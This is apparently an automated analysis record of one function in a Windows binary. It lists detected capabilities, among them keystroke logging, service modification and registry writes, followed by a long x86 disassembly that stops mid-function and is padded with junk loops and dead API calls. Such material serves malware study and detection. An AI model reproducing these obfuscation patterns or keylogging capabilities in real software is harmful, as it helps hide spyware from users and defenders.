Function at 0x1002e434
Capabilities:
Check os version
Compare security identifiers
Create process on windows
Enumerate gui resources
Get common file path
Get disk information
Get file size
Get file system object information
Log keystrokes
Modify service
Parse pe header
Query or enumerate registry key
Set registry value
Start service

Disassembly:
mov eax, 0x10078b31
call fcn.10077340
mov eax, 0x14fc
call fcn.10073af0
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x1c], 0x41e55969
push 4
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x1c], eax
pop ecx
mov byte [ebp - 0x55], dl
cmp dword [ebp - 0x1c], ecx
jge 0x1002e47d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x13d0], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002e465
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x1002e49d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x13d0], 0xf57a7c20
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002e485
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002e4b0
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov dword [ebp - 0x20], 0xd4e06482
lea ecx, [ebp - 0x3a0]
push 2
call fcn.10016a10
xor eax, eax
or esi, 0xffffffff
mov dword [ebp - 4], eax
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1002e4f4
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x3a0]
call fcn.10016aae
and dword [eax], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002e4d8
xor eax, eax
xor ebx, ebx
inc ebx
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jl 0x1002e59f
mov dword [ebp - 0x3c], eax
jmp 0x1002e515
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0xf50], ebx
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 3
jl 0x1002e508
push ebx
lea ecx, [ebp - 0x3a0]
call fcn.10016aae
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x3a0]
mov dword [eax], 0xffff
call fcn.10016aae
push dword [ebp - 0x1c]
xor ebx, ebx
lea ecx, [ebp - 0x3a0]
cmp dword [eax], 2
sete bl
call fcn.10016aae
xor ecx, ecx
cmp dword [eax], ebx
mov eax, dword [ebp - 0x1c]
setl cl
xor edx, edx
cmp ecx, 0x357f451d
setle dl
xor ebx, ebx
sub edx, eax
inc ebx
cmp edx, dword [ebp - 0xf50]
jg 0x1002e57f
push ebx
lea ecx, [ebp - 0x3a0]
call fcn.10016aae
push ebx
lea ecx, [ebp - 0x3a0]
call fcn.10016aae
push 0
mov eax, dword [eax]
mov dword [ebp - 0xf50], eax
dec dword [ebp - 0x1c]
pop eax
jns 0x1002e503
lea ecx, [ebp - 0x3a0]
mov dword [ebp - 4], esi
call fcn.10016a92
mov edi, dword [sym.imp.USER32.dll_SetScrollRange]
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [ebp - 0x18], 0x59cd
mov dword [ebp - 0x20], 0x13
cmp dword [ebp - 0x20], 9
je 0x1002e5f8
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002e5ef
push ebx
push 0x1900
push 0x540
push 0x1e8d
call esi
push eax
call edi
xor eax, eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 9
jne 0x1002e5cf
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1002e81d
mov dword [ebp - 0x30], 0x87cf2e56
mov dword [ebp - 0x3c], 0x74f0e4f2
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002e62c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x250], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002e618
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jl 0x1002e654
mov dword [ebp - 0x1c], 0x285faafe
mov dword [ebp - 0x1c], eax
jmp 0x1002e64a
mov dword [ebp - 0x18], 0x2df3d37a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x1002e640
dec dword [ebp - 0x30]
jns 0x1002e634
mov dword [ebp - 0x18], 0x18
cmp dword [ebp - 0x18], 0x2d
jle 0x1002e81a
push 3
lea ecx, [ebp - 0x3b8]
call fcn.10016a10
push ebx
lea ecx, [ebp - 0x788]
mov dword [ebp - 4], ebx
call fcn.10016a10
xor eax, eax
mov byte [ebp - 4], 2
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x1002e6b2
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x3b8]
call fcn.10016aae
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x1002e693
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1002e6cb
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x788]
call fcn.10016aae
and dword [eax], 0
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1002e6b7
push 2
lea ecx, [ebp - 0x3b8]
call fcn.10016aae
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x788]
xor eax, eax
push eax
call fcn.10016aae
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1002e6fa
mov eax, dword [ebp - 0x30]
xor eax, eax
push eax
lea ecx, [ebp - 0x788]
call fcn.10016aae
xor ecx, ecx
xor ebx, ebx
inc ecx
push 2
cmp dword [eax], ecx
lea ecx, [ebp - 0x3b8]
setg bl
call fcn.10016aae
xor ecx, ecx
push 2
cmp ebx, dword [eax]
sete cl
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x3b8]
call fcn.10016aae
xor edx, edx
mov ecx, dword [eax]
imul ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x250]
add eax, ecx
cmp eax, 0xb752
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
sete cl
xor eax, eax
inc ecx
xor ebx, ebx
mov dword [ebp - 0x1c], ecx
inc ebx
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jg 0x1002e7ef
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x3c], eax
jmp 0x1002e7e2
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jg 0x1002e7df
mov dword [ebp - 0x28], 0xdbc0ba88
lea ecx, [ebp - 0x788]
push dword [ebp - 0x3c]
call fcn.10016aae
cmp dword [eax], 0
je 0x1002e7a0
mov eax, dword [ebp - 0x250]
push 2
lea ecx, [ebp - 0x3b8]
call fcn.10016aae
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x3b8]
push dword [ebp - 0x1c]
call fcn.10016aae
xor ecx, ecx
cmp dword [eax], 0xffffffff
mov eax, dword [ebp - 0x30]
setne cl
neg eax
sbb eax, eax
inc eax
imul eax, ecx
mov dword [ebp - 0x28], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x1002e780
xor eax, eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], eax
jle 0x1002e774
inc dword [ebp - 0x30]
jmp 0x1002e762
lea ecx, [ebp - 0x788]
call fcn.10016a92
or eax, 0xffffffff
lea ecx, [ebp - 0x3b8]
mov dword [ebp - 4], eax
call fcn.10016a92
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x2d
jg 0x1002e665
xor eax, eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff7
jle 0x1002e602
mov dword [ebp - 0x20], 0xd4e06482
mov dword [ebp - 0x18], 0x59cd
mov dword [ebp - 0x20], 0x13
jmp 0x1002e861
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002e85e
push ebx
push 0x1900
push 0x540
push 0x1e8d
call esi
push eax
call edi
xor eax, eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 9
jne 0x1002e83e
mov dword [ebp - 0x20], eax
jmp 0x1002ea90
mov dword [ebp - 0x30], 0x87cf2e56
mov dword [ebp - 0x3c], 0x74f0e4f2
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002e899
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x24c], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002e885
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jl 0x1002e8c1
mov dword [ebp - 0x1c], 0x285faafe
mov dword [ebp - 0x1c], eax
jmp 0x1002e8b7
mov dword [ebp - 0x18], 0x2df3d37a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x1002e8ad
dec dword [ebp - 0x30]
jns 0x1002e8a1
mov dword [ebp - 0x18], 0x18
cmp dword [ebp - 0x18], 0x2d
jle 0x1002ea8d
push 3
lea ecx, [ebp - 0x3d0]
call fcn.10016a10
push ebx
lea ecx, [ebp - 0x6d4]
mov dword [ebp - 4], 3
call fcn.10016a10
push 4
pop eax
mov byte [ebp - 4], al
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x1002e925
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x3d0]
call fcn.10016aae
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x1002e906
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1002e93e
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x6d4]
call fcn.10016aae
and dword [eax], 0
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1002e92a
push 2
lea ecx, [ebp - 0x3d0]
call fcn.10016aae
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x6d4]
xor eax, eax
push eax
call fcn.10016aae
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1002e96d
mov eax, dword [ebp - 0x30]
xor eax, eax
push eax
lea ecx, [ebp - 0x6d4]
call fcn.10016aae
xor ecx, ecx
xor ebx, ebx
inc ecx
push 2
cmp dword [eax], ecx
lea ecx, [ebp - 0x3d0]
setg bl
call fcn.10016aae
xor ecx, ecx
push 2
cmp ebx, dword [eax]
sete cl
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x3d0]
call fcn.10016aae
xor edx, edx
mov ecx, dword [eax]
imul ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24c]
add eax, ecx
cmp eax, 0xb752
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
sete cl
xor eax, eax
inc ecx
xor ebx, ebx
mov dword [ebp - 0x1c], ecx
inc ebx
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jg 0x1002ea62
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x3c], eax
jmp 0x1002ea55
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jg 0x1002ea52
mov dword [ebp - 0x28], 0xdbc0ba88
lea ecx, [ebp - 0x6d4]
push dword [ebp - 0x3c]
call fcn.10016aae
cmp dword [eax], 0
je 0x1002ea13
mov eax, dword [ebp - 0x24c]
push 2
lea ecx, [ebp - 0x3d0]
call fcn.10016aae
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x3d0]
push dword [ebp - 0x1c]
call fcn.10016aae
xor ecx, ecx
cmp dword [eax], 0xffffffff
mov eax, dword [ebp - 0x30]
setne cl
neg eax
sbb eax, eax
inc eax
imul eax, ecx
mov dword [ebp - 0x28], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x1002e9f3
xor eax, eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], eax
jle 0x1002e9e7
inc dword [ebp - 0x30]
jmp 0x1002e9d5
lea ecx, [ebp - 0x6d4]
call fcn.10016a92
or eax, 0xffffffff
lea ecx, [ebp - 0x3d0]
mov dword [ebp - 4], eax
call fcn.10016a92
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x2d
jg 0x1002e8d2
xor eax, eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff7
jle 0x1002e86f
mov dword [ebp - 0x20], 0xd4e06482
mov dword [ebp - 0x18], 0x59cd
mov dword [ebp - 0x20], 0x13
jmp 0x1002ead4
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002ead1
push ebx
push 0x1900
push 0x540
push 0x1e8d
call esi
push eax
call edi
xor eax, eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 9
jne 0x1002eab1
mov dword [ebp - 0x20], eax
jmp 0x1002ed01
mov dword [ebp - 0x30], 0x87cf2e56
mov dword [ebp - 0x3c], 0x74f0e4f2
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002eb0c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x28c], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002eaf8
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jl 0x1002eb34
mov dword [ebp - 0x1c], 0x285faafe
mov dword [ebp - 0x1c], eax
jmp 0x1002eb2a
mov dword [ebp - 0x18], 0x2df3d37a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x1002eb20
dec dword [ebp - 0x30]
jns 0x1002eb14
mov dword [ebp - 0x18], 0x18
cmp dword [ebp - 0x18], 0x2d
jle 0x1002ecfe
push 3
lea ecx, [ebp - 0x3e8]
call fcn.10016a10
push ebx
lea ecx, [ebp - 0x7e8]
mov dword [ebp - 4], 5
call fcn.10016a10
xor eax, eax
mov byte [ebp - 4], 6
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x1002eb96
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x3e8]
call fcn.10016aae
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x1002eb77
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1002ebaf
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x7e8]
call fcn.10016aae
and dword [eax], 0
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1002eb9b
push 2
lea ecx, [ebp - 0x3e8]
call fcn.10016aae
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x7e8]
xor eax, eax
push eax
call fcn.10016aae
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1002ebde
mov eax, dword [ebp - 0x30]
xor eax, eax
push eax
lea ecx, [ebp - 0x7e8]
call fcn.10016aae
xor ecx, ecx
xor ebx, ebx
inc ecx
push 2
cmp dword [eax], ecx
lea ecx, [ebp - 0x3e8]
setg bl
call fcn.10016aae
xor ecx, ecx
push 2
cmp ebx, dword [eax]
sete cl
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x3e8]
call fcn.10016aae
xor edx, edx
mov ecx, dword [eax]
imul ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28c]
add eax, ecx
cmp eax, 0xb752
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
sete cl
xor eax, eax
inc ecx
xor ebx, ebx
mov dword [ebp - 0x1c], ecx
inc ebx
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jg 0x1002ecd3
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x3c], eax
jmp 0x1002ecc6
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jg 0x1002ecc3
mov dword [ebp - 0x28], 0xdbc0ba88
lea ecx, [ebp - 0x7e8]
push dword [ebp - 0x3c]
call fcn.10016aae
cmp dword [eax], 0
je 0x1002ec84
mov eax, dword [ebp - 0x28c]
push 2
lea ecx, [ebp - 0x3e8]
call fcn.10016aae
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x3e8]
push dword [ebp - 0x1c]
call fcn.10016aae
xor ecx, ecx
cmp dword [eax], 0xffffffff
mov eax, dword [ebp - 0x30]
setne cl
neg eax
sbb eax, eax
inc eax
imul eax, ecx
mov dword [ebp - 0x28], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x1002ec64
xor eax, eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], eax
jle 0x1002ec58
inc dword [ebp - 0x30]
jmp 0x1002ec46
lea ecx, [ebp - 0x7e8]
call fcn.10016a92
or eax, 0xffffffff
lea ecx, [ebp - 0x3e8]
mov dword [ebp - 4], eax
call fcn.10016a92
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x2d
jg 0x1002eb45
xor eax, eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff7
jle 0x1002eae2
mov edi, dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
or eax, 0xffffffff
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x14], 0x37d4
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 0xbbfad0d7
mov dword [ebp - 0x30], 0x14
cmp dword [ebp - 0x30], 0xffffffea
jge 0x1002eeac
push 3
lea ecx, [ebp - 0x7a0]
call fcn.10016a10
push 7
pop eax
push 2
lea ecx, [ebp - 0x6ec]
mov dword [ebp - 4], eax
call fcn.10016a10
mov byte [ebp - 4], 8
xor eax, eax
mov dword [ebp - 0x34], 0x2c78
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x1002ed8e
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x7a0]
call fcn.10016aae
mov dword [eax], 0xfffffffe
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x1002ed6f
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x1002edb6
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x6ec]
call fcn.10016aae
mov dword [eax], 0xa87a5eaf
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x1002ed97
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1002ee3a
push 2
lea ecx, [ebp - 0x7a0]
call fcn.10016aae
mov edx, dword [ebp - 0x30]
mov esi, dword [eax]
mov eax, dword [ebp - 0x30]
neg esi
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
cmp esi, ecx
jne 0x1002edee
push ebx
lea ecx, [ebp - 0x7a0]
call fcn.10016aae
xor eax, eax
lea ecx, [ebp - 0x6ec]
push eax
call fcn.10016aae
push ebx
lea ecx, [ebp - 0x7a0]
call fcn.10016aae
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x6ec]
xor eax, eax
push eax
call fcn.10016aae
mov ecx, dword [ebp - 0x30]
xor edx, edx
test ecx, ecx
setns dl
xor ecx, ecx
cmp edx, dword [eax]
setge cl
xor eax, eax
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], eax
je 0x1002ee38
mov esi, ebx
jmp 0x1002ee3c
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x6ec]
call fcn.10016aae
mov ecx, dword [ebp - 0x30]
xor edx, edx
cmp esi, ecx
setge dl
cmp edx, dword [eax]
jg 0x1002ee59
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setle cl
xor eax, eax
mov dword [ebp - 0x18], ecx
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002ee7d
push eax
push eax
call edi
lea ecx, [ebp - 0x6ec]
call fcn.10016a92
or eax, 0xffffffff
lea ecx, [ebp - 0x7a0]
mov dword [ebp - 4], eax
call fcn.10016a92
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xffffffea
jl 0x1002ed39
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
xor eax, eax
push 0xfffffffffffffffb
pop ecx
cmp dword [ebp - 0x1c], eax
je 0x1002ef0a
mov dword [ebp - 0x1c], 0x167d
cmp dword [ebp - 0x30], eax
jne 0x1002eed4
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x1c], eax
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002eef7
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_KillTimer]
xor eax, eax
mov dword [ebp - 0x30], 0xfffffffd
mov dword [ebp - 0x1c], 0xfff7
mov dword [ebp - 0x1c], eax
jmp 0x1002ef5c
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jne 0x1002eef5
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002ef27
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push 0xfffffffffffffffb
xor eax, eax
pop ecx
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002ef46
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
push 0xfffffffffffffffb
xor eax, eax
pop ecx
dec dword [ebp - 0x18]
jmp 0x1002ef0d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1b0], 0xfafbf261
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002ef4b
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x30]
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002ef75
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov ecx, ebx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
sub ecx, eax
xor eax, eax
cmp ecx, 0x9a57
setge al
cmp eax, dword [ebp - 0x30]
jg 0x1002ef95
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1b0]
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x1002efb1
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x34], ebx
mov esi, ebx
mov dword [ebp - 0x3c], 0xfffffff6
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1ac]
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x1002efde
mov esi, eax
mov ecx, dword [ebp - 0x1b0]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setge dl
xor ecx, ecx
cmp esi, eax
setg cl
xor eax, eax
cmp edx, ecx
setle al
cmp eax, dword [ebp - 0x1b0]
jle 0x1002f013
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x1ac], eax
je 0x1002f015
mov ecx, ebx
mov eax, dword [ebp - 0x3c]
imul eax, ecx
xor ecx, ecx
push 3
cmp eax, ebx
setl cl
mov dword [ebp - 0x30], ecx
lea ecx, [ebp - 0x188]
call fcn.10016a10
xor eax, eax
mov dword [ebp - 4], 9
mov dword [ebp - 0x20], eax
or esi, 0xffffffff
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1002f065
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x188]
call fcn.10016aae
mov dword [eax], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002f04a
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002f07e
push 0x1c00
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
xor eax, eax
mov dword [ebp - 0x20], 2
cmp dword [ebp - 0x20], eax
jl 0x1002f31d
jmp 0x1002f092
xor eax, eax
mov dword [ebp - 0x30], 0xd3b3152c
mov dword [ebp - 0x30], eax
jmp 0x1002f257
mov dword [ebp - 0x48], 0xa33a
lea ecx, [ebp - 0xa94]
mov dword [ebp - 0x34], ebx
call fcn.10016a10
mov byte [ebp - 4], 0xa
xor eax, eax
mov dword [ebp - 0x28], 0x6c7e7c0c
mov dword [ebp - 0x28], 3
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x1002f0ea
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x64], 0x962ee6d0
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1002f0d5
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x1002f112
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xa94]
call fcn.10016aae
mov dword [eax], 0x1289
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x1002f0f3
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002f127
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
xor eax, eax
mov dword [ebp - 0x64], 2
cmp dword [ebp - 0x64], eax
jl 0x1002f245
mov dword [ebp - 0x1c], ebx
lea ecx, [ebp - 0x188]
mov dword [ebp - 0x28], 0x88a2
push dword [ebp - 0x64]
call fcn.10016aae
inc dword [ebp - 0x34]
lea ecx, [ebp - 0x188]
mov eax, dword [ebp - 0x20]
push dword [ebp - 0x64]
call fcn.10016aae
push dword [ebp - 0x64]
lea ecx, [ebp - 0x188]
mov esi, eax
call fcn.10016aae
xor edx, edx
mov ecx, dword [eax]
cmp ecx, ebx
mov dword [esi], ecx
setg dl
xor eax, eax
cmp edx, 0x167df2dd
setg al
or ecx, 0xffffffff
cmp eax, ecx
jne 0x1002f193
mov eax, dword [ebp - 0x20]
xor eax, eax
lea ecx, [ebp - 0xa94]
push eax
call fcn.10016aae
cmp dword [eax], 0xfffd
ja 0x1002f1b0
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x1002f1c9
push dword [ebp - 0x64]
lea ecx, [ebp - 0x188]
call fcn.10016aae
cmp dword [eax], 0
je 0x1002f1c7
mov ecx, ebx
jmp 0x1002f1cb
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x30]
add eax, ecx
lea ecx, [ebp - 0x188]
neg eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
push dword [ebp - 0x64]
call fcn.10016aae
mov eax, dword [eax]
sub eax, 2
cmp eax, dword [ebp - 0x1c]
jge 0x1002f1f6
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x64], eax
je 0x1002f20d
cmp dword [ebp - 0x20], eax
je 0x1002f20d
mov eax, ebx
add eax, 0xfffffff9
xor edx, edx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x1c]
cmp eax, 8
mov eax, dword [ebp - 0x1c]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 0x30]
je 0x1002f230
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
dec dword [ebp - 0x64]
jns 0x1002f137
lea ecx, [ebp - 0xa94]
mov byte [ebp - 4], 9
call fcn.10016a92
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
push 2
jle 0x1002f0a1
lea ecx, [ebp - 0x188]
call fcn.10016aae
push dword [ebp - 0x20]
lea ecx, [ebp - 0x188]
mov esi, eax
call fcn.10016aae
mov ecx, dword [eax]
mov dword [esi], ecx
or esi, 0xffffffff
cmp ecx, esi
jle 0x1002f2ff
mov dword [ebp - 0x38], 0x68f3
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x28], ebx
imul eax, dword [ebp - 0x34], 0x9db5
test eax, eax
je 0x1002f2d0
mov esi, dword [ebp - 0x20]
lea ecx, [ebp - 0x188]
push dword [ebp - 0x20]
call fcn.10016aae
mov ecx, dword [ebp - 0x34]
xor edx, edx
mov dword [eax], esi
mov eax, dword [ebp - 0x30]
cmp ecx, eax
setl dl
imul edx, esi
sub edx, dword [ebp - 0x20]
sub edx, 6
je 0x1002f2d0
mov eax, ebx
jmp 0x1002f2d2
xor eax, eax
dec dword [ebp - 0x38]
mov edx, dword [ebp - 0x30]
sub edx, eax
mov eax, dword [ebp - 0x38]
neg edx
sbb edx, edx
xor ecx, ecx
